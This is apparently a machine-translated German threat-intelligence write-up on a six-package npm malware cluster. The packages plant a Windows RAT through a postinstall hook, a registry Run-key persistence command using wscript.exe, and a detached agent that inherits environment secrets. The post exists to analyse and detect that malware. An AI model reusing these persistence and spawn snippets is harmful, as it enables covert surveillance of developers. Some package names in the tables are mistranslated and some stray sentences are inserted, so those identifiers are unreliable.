TL; DR
Zwischen dem 1. April und dem 3. Mai 2026 wird ein einzelner npm-Publisher user0001, registriert mit der nicht verifizierten Gmail-Adresse tanvisoul9@gmail.comstill und leise brachte er sechs Pakete mit bewusst unauffälligen, nach Infrastruktur klingenden Namen auf den Markt: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime und node-env-resolve.
Die beiden neuesten Versionen von node-env-resolveDie Versionen 1.0.7 und 1.0.8 wurden am 2. Mai vom Malware Early Warning (MEW)-System von Xygeni als schädlich eingestuft und am 3. Mai als solche bestätigt.
Das Implantat ist ungewöhnlich, weil es das nicht ist: Es gibt keine Telegram-Bots, keine OAST-Rückrufe, keine Verschleierungund es wird kein Versuch unternommen, AWS-Zugangsdaten während der Installation abzurufen. Stattdessen postinstall.js platziert einen Windows-Startpersistenzeintrag mithilfe eines HKCU-Run-Schlüssels, der startet wscript.exe gegen einen VBS-Stub. Dann startet es einen unabhängigen Node.js-Agenten, der Module für Mikrofonaufnahme, Browserverlaufsdiebstahl, Screenshot-Erstellung und Maus-/Tastatursimulation bündelt.
Wir nennen dieses Cluster DevTapNach der Installation des Kits läuft es auf dem Rechner des Entwicklers weiter.
Alle sechs Pakete waren zum Zeitpunkt der Erstellung dieses Dokuments auf npm verfügbar. Wir haben sie dem Missbrauchskanal der Registry gemeldet. Benutzer sollten alle Installationen vom Herausgeber entfernen, bis diese entfernt werden.
Das Cluster: Sechs Pakete, ein Verlag
Das Herausgeberkonto user0001 ist nicht verifiziert. Es hat keine SCM Verifizierung, keine domänengebundene E-Mail und keine vorherige Historie. Der Gmail-Handle tanvisoul9 erscheint in keinem anderen npm-Publisher-Eintrag, den wir finden konnten.
Alle sechs Pakete führen denselben Betreuer auf, wurden vom selben Konto veröffentlicht und teilen sich dieselbe package.json Standardtext. Es gibt keinen. repository, Kein homepage, und nein description länger als eine einzelne Zeile.
Die Namensstrategie ist das Interessante daran. Anders als bei klassischen Abhängigkeitsverwirrungs- oder Typosquat-Kampagnen zielt keiner dieser Namen auf eine bestimmte Upstream-Bibliothek ab. Stattdessen sind sie so kalibriert, dass sie in einer realen Umgebung untergehen. package.json or npm ls Ausgabe.
| Verpackung | Erstmals veröffentlicht | Letzte Version | Versionen | Rolle im Cluster |
|---|---|---|---|---|
| Zentralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, von 1.0.5 bis 1.0.9 | Das Cover des „Protokollierungs-Utility“-Programms von Cluster; früheste Veröffentlichung |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Generische DOM-Hilfsabdeckung |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Nachahmt die node-fetch-Familie |
| Verbindungsagent | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Gattungsbezeichnung „Agent“ |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Nachahmung der Build-Tools für native Module |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, von 1.0.0 bis 1.0.9 | Aktive Tropfvorrichtung; vollständiges Implantat |
Namen wie centralogger, node-fetch-lite und node-gyp-runtime Sie sind so gestaltet, dass sie bei Code-Reviews unproblematisch wirken. Sie klingen wie Dinge, die bereits im Abhängigkeitsbaum eines Projekts vorhanden wären.
Zusammen mit einem neuen, unbestätigten Herausgeber und fehlenden Repository-Links ergibt sich ein erkennbares Muster: Ein Akteur platziert zunächst unproblematische Namen im Register und optimiert dann schnell den relevanten Namen. In diesem Fall node-env-resolve Ich habe innerhalb von acht Tagen zehn Versionen erhalten.
Was landet auf einem Windows-Entwicklungsrechner?
Die bösartige Kette auf node-env-resolve:1.0.8 ist kurz, direkt und für eine npm-RAT ungewöhnlich funktionsreich.
Nach der Installation: Persistenz und getrennter Agent
package.json deklariert einen einzelnen Installations-Hook:
{ "scripts": { "postinstall": "node postinstall.js" } }
postinstall.js Erledigt drei Dinge nacheinander.
Zunächst wird ein Installationsverzeichnis außerhalb des npm-Baums erstellt. Der Pfad wird zur Laufzeit im Skript berechnet. INSTALL_DIRDann führt es einen internen Prozess aus. execSync('npm install --production --silent ...') Darin werden die Laufzeitabhängigkeiten des Implantats eingebunden. Dadurch wird der Agent an einem beliebigen Ort auf der Festplatte abgelegt (manuell erforderlich). node_modules Die Prüfung wird nichts ergeben.
Zweitens schreibt es einen VBS-Launcher und registriert ihn für die Boot-Persistenz:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
/v ${AGENT_NAME} \
/t REG_SZ \
/d "wscript.exe \"${vbsPath}\"" /f
wscript.exe ist der Windows Script Host, eine signierte Microsoft-Binärdatei, die ausgeführt wird .vbs Dateien ohne Konsolenfenster. Das ist vorcisDeshalb wird es für Autorun-Stubs bevorzugt.
Es gibt auch ein passendes reg delete Pfad innerhalb src/index.jsDies lässt darauf schließen, dass das Implantat so konzipiert ist, dass es auf Anweisung des Bedieners rückstandsfrei entfernt werden kann.
Drittens erzeugt es einen unabhängigen Kindprozess:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {
detached: true,
env: { ...process.env, SERVER_URL }
})
Zwei Details sind hier wichtig.
SERVER_URL Die Informationen werden aus der Umgebung gelesen. Daher ist der C2-Endpunkt für jede Bereitstellung individuell konfigurierbar und nicht fest im Paket verankert. Diese kleine, aber bewusste Entscheidung verhindert die meisten statischen IOC-Analysen.
Außerdem erbt das erzeugte Kind die gesamte Umgebung des Elternkindes. Daher gilt für jedes NPM_TOKEN, AWS_*, GITHUB_TOKENoder dass der SSH-Agent-Socket, der zum Zeitpunkt der Installation in der Entwickler-Shell vorhanden ist, in den Speicher des langlebigen Agenten wandert.
Was der Agent mitliefert
Das gebündelte src/ Der Baum besteht aus drei Modulen, deren Namen schon für sich sprechen: audioCapture.js, browserHistory.js und systemInfo.js.
Die Laufzeitabhängigkeitsliste, die während der Staging-Phase aufgelöst wurde npm install, bestätigt sie.
Dieser Ansatz verwandelt einen chaotischen Vorfall in eine kontrollierte Reaktion.
Statt blind zu reagieren, arbeiten Teams mit klare Priorisierung und schnelle Behebung.
| Abhängigkeit | Wozu dient es in diesem Kontext? |
|---|---|
| Screenshot-Desktop | Regelmäßige Bildschirmaufnahme |
| @nut-tree-fork/nut-js | Maus- und Tastaturautomatisierung / Eingabesimulation |
| besser-sqlite3 | Direktes Lesen der SQLite-Verlaufsdatenbanken von Chrome, Edge und Firefox |
| adm-zip | Bündelung der gesammelten Artefakte vor der Exfiltration |
| scharf | Größenänderung/Komprimierung von Screenshots und Bildartefakten |
| socket.io-Client | Persistenter bidirektionaler C2-Kanal |
| Knoten-Maschinen-ID | Stabiler, hostspezifischer Fingerabdruck zur Opferverfolgung |
systemInfo.js Anrufe os.networkInterfaces() zur zusätzlichen Fingerabdruckerkennung vor dem ersten Beacon.
Warum die Audioaufnahme das herausragende Signal ist
Die meisten npm-RATs, die wir in MEW priorisieren, beschränken sich auf den Diebstahl geheimer Informationen während der Installation. Sie lesen ~/.npmrc, Lesen ~/.aws/credentials, schaben process.envEin POST-Request an einen Webhook wird gesendet und der Vorgang beendet. Das entspricht einem aggressiven, gewinnbringenden Geschäftsmodell. Zugangsdaten sind nur kurzlebig, und der Angreifer muss sie schnell monetarisieren.
node-env-resolve ist anders geformt.
Die Persistenz ist so eingerichtet, dass sie einen Neustart übersteht. Der Agent läuft unabhängig und langlebig unter wscript.exeDas mitgelieferte Kit ist für den dauerhaften Einsatz auf dem Rechner eines Entwicklers gedacht, nicht zum Mitnehmen und Zurücklassen: ein Mikrofonrekorder, ein Tastatur-/Maustreiber, die Möglichkeit zur vollständigen Erfassung des Browserverlaufs, eine Bildschirmaufnahmefunktion und ein interaktiver Socket.IO-Kanal zurück zu einem konfigurierbaren C2-Server.
Insbesondere die Mikrofonaufzeichnung ist der Punkt, den diese Kampagne überschreitet und den die meisten npm-Malware-Melder nicht tun.
Ein Entwicklerarbeitsplatz dient zunehmend auch als Arbeitsplatz für Stand-up-Meetings, Kundengespräche, Designbesprechungen und Bereitschaftsdienste. Ein Implantat, das das Mikrofon aufzeichnet, hat es nicht primär auf das npm-Token des Entwicklers abgesehen, sondern auf das, was der Entwickler vor dem Laptop sagt.
Diese Fähigkeiten, gepaart mit dem Fehlen von Verschleierungstaktiken und dem Fehlen jeglicher auffälliger Datenexfiltration während der Installation, lassen eher auf eine Vorbereitung für gezielten Zugriff als auf opportunistischen Diebstahl von Zugangsdaten schließen.
Allein aus diesem Ergebnis leiten wir keine Urheberschaft ab. Wir stellen lediglich das operative Profil fest.
Der achttägige Iterationsrhythmus auf node-env-resolve ist das für den operativen Betrieb aussagekräftigste Detail in der Zeitleiste.
Dies ist kein einmaliger Download. Der Herausgeber kümmert sich aktiv um den Dropper, was üblicherweise eines von zwei Dingen bedeutet: Entweder optimiert er ihn in Testumgebungen vor der breiteren Bereitstellung, oder er empfängt bereits Installationsdaten und reagiert darauf.
Die anderen fünf Pakete wurden nach ihrer ersten Veröffentlichung praktisch nicht mehr verändert. Dies entspricht dem Muster „einmalig bereitstellen, benannt lassen“ für den unterstützenden Cluster, während sich die Entwicklungsarbeit auf das eigentliche Paket konzentriert.
Zuschreibung: Wenige Hinweise, kein eindeutiges Urteil
Öffentliche OSINT Die Signale sind dünn, und wir werden sie nicht dehnen. Was ist beobachtbar?
Der Gmail-Handle tanvisoul9 Ähnelt teilweise einem südasiatischen Vornamen, „Tanvi“. Dies ist ein schwaches Indiz. Gmail-Benutzernamen sind keine Identitätsnachweise, und das angehängte „gmail“ ist ebenfalls nicht aussagekräftig. soul9 ist allgemein gehalten. Es ist nicht sicher, allein aus dem lokalen Teil einer E-Mail auf den geografischen Standort zu schließen.
Der Code-Stil ist unauffällig. Node.js: standard Bibliotheksaufrufe wie z.B. os, child_process, spawn und reg addEs gibt keine Verschleierung, keine Stringrotation und keine Anti-Debug-Logik. Der Autor kennt sich mit Windows-Registry-Primitiven und der Orchestrierung von abgekoppelten Kindprozessen aus, scheint aber keine raffinierteren Methoden anzuwenden, die er möglicherweise nutzen könnte.
Die Abhängigkeiten sind alle Standardprodukte und wohlbekannt: screenshot-desktop, nut-js, better-sqlite3 und socket.io-clientEs gibt kein benutzerdefiniertes Protokoll, keinen von Grund auf neu entwickelten C2-Stack und keine neuartigen Persistenztricks, die über das Lehrbuch hinausgehen. HKCU Run-SchlüsselEs handelt sich hier um einen kompetenten Integrator, nicht um einen Werkzeugentwickler.
In den veröffentlichten Artefakten fanden wir keine nicht-englischen Zeichenketten, eingebettete Kommentare, Gebietsschemadaten oder vom Compiler ausgegebene Zeitzonen-Fingerabdrücke.
Wir haben geprüft, ob es Überschneidungen im Code mit früheren Kampagnen gibt, die wir bereits verfolgen, einschließlich Shai Hulud, OwlivionBuildkite und das jüngste Heibai / claude-code-best Anthropic-CLI-Klonfamilie. Wir haben keine gefunden: keine gemeinsamen C2-Muster, keine gemeinsamen Dateistrukturen und keine gemeinsamen Idiome.
Was wir nicht sagen würden: dass es sich um einen staatlichen Akteur, eine bekannte Gruppe oder um jemanden mit einer geografischen Verbindung zu einem bestimmten Land handelt.
Das Einsatzprofil entspricht einem kleinen, mäßig qualifizierten Team, das die Überwachung von Entwicklerarbeitsplätzen durchführt. Die Motivation dürfte finanziell durch die Weiterverwendung des Zugriffs liegen, möglicherweise handelt es sich aber auch um eine Art Aufklärungsdienstleistung für einen anderen Auftraggeber.
Zwei indirekte Punkte stützen diese Annahme: die Vermeidung von aufmerksamkeitserregenden Exfiltrationsmechanismen, die den Cluster schnell überlasten würden, wie beispielsweise Telegram-Bots. oastify.comoder canarytokens und die bewusst unauffälligen Paketnamen, die eher auf unauffällige, langfristige Installationen als auf einen kurzen, aber intensiven Anstieg setzen.
Indikatoren für eine Kompromittierung und deren Aufdeckung
| Pakete und Herausgeber | |
|---|---|
| Feld | Wert |
| npm-Publisher | user0001 |
| E-Mail-Adresse des Herausgebers | tanvisoul9@gmail.com, nicht verifiziert |
| Pakete | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Bestätigt bösartig | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Artefakte des Gastgebers | |
|---|---|
| Typ | Wert |
| Persistenzschlüssel | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Persistenzwert | Variablenname; Daten der Form wscript.exe " \\ .vbs" |
| Haken montieren | postinstall: node postinstall.js im Paketmanifest |
| Implantatmodule | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Staging-Verzeichnis | INSTALL_DIR wurde außerhalb des node_modules-Verzeichnisses des Projekts aufgelöst; der Speicherort wurde von postinstall.js während der Installation festgelegt. |
| Netzwerk | |
|---|---|
| Typ | Wert |
| C2-Transport | socket.io-Client, persistenter bidirektionaler Kanal |
| C2-Endpunkt | Wird dem Agenten über die Umgebungsvariable SERVER_URL bereitgestellt; nicht fest in die veröffentlichten Artefakte einprogrammiert. |
Erkennungsnotizen
Diese Familie wird mit zwei Regeln erfasst, ohne dass der C2-Endpunkt benötigt wird.
Zuerst sollten Sie die Postinstallationsskripte kennzeichnen, die eine interne Operation durchführen. npm install in einen Pfad außerhalb des Paketverzeichnisses. Jeder legitime Prebuild-Downloader, wie z. B. node-gyp Erstellt neu erstellte oder vorkompilierte Binärdateien, schreibt in das Paket oder in die Plattform.standard Cache-Pfade mit verifizierten Hashes. Es schreibt nicht in einen neu erstellten Cache. INSTALL_DIR an anderer Stelle auf der Festplatte.
Zweitens, kennzeichnen Sie die Postinstallationsskripte, die Probleme verursachen. reg add HKCU\…\Run und wscript.exe als Launcher. Das ist bei einem npm-Paket grundsätzlich nie legitim. Markieren und unter Quarantäne stellen.
Eine dritte Heuristik ist nützlich, um das nächste Schwesterpaket zu erkennen, bevor es bestätigt wird: ein neuer npm-Publisher ohne … SCM Verifizierung, eine Gmail-E-Mail, nein repository Dass innerhalb weniger Tage mehrere kurze, generische, nach Infrastruktur klingende Paketnamen veröffentlicht werden, ist an sich schon Grund genug für eine manuelle Überprüfung.
Der Vorfall wurde der npm-Registry gemeldet. Wir werden diesen Beitrag aktualisieren, sobald das Herausgeberkonto entfernt wurde.





